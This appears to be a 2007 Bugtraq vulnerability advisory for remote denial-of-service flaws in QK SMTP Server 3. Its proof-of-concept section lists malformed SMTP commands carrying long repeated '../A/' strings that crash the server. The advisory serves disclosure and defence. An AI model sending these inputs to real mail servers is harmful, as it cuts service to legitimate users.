QK SMTP Server Malformed Commands Multiple Remote Denial of Service Vulnerabilities

Bugtraq ID:	26856
Class:	Boundary Condition Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 13 2007 12:00AM
Updated:	Dec 14 2007 04:42PM
Credit:	Juan Pablo Lopez Yacubian is credited with the discovery of these vulnerabilities.
Vulnerable:	QKSoft QK SMTP 3
Not Vulnerable:

QK SMTP Server Malformed Commands Multiple Remote Denial of Service Vulnerabilities

QK SMTP Server is prone to multiple remote denial-of-service vulnerabilities that occur when handling malformed SMTP commands.

An attacker can exploit these issues to crash the affected application, denying service to legitimate users.

These issues affects QK SMTP Server 3; other versions may also be affected.

QK SMTP Server Malformed Commands Multiple Remote Denial of Service Vulnerabilities

The following proofs of concept are available:

HELO ../A/ * 950
MAIL FROM: ../A/ * 950
RCPT TO: ../A/ * 950
data
../A/ * 950

QK SMTP Server Malformed Commands Multiple Remote Denial of Service Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

QK SMTP Server Malformed Commands Multiple Remote Denial of Service Vulnerabilities

References:

• QK SMTP Homepage (QK Soft)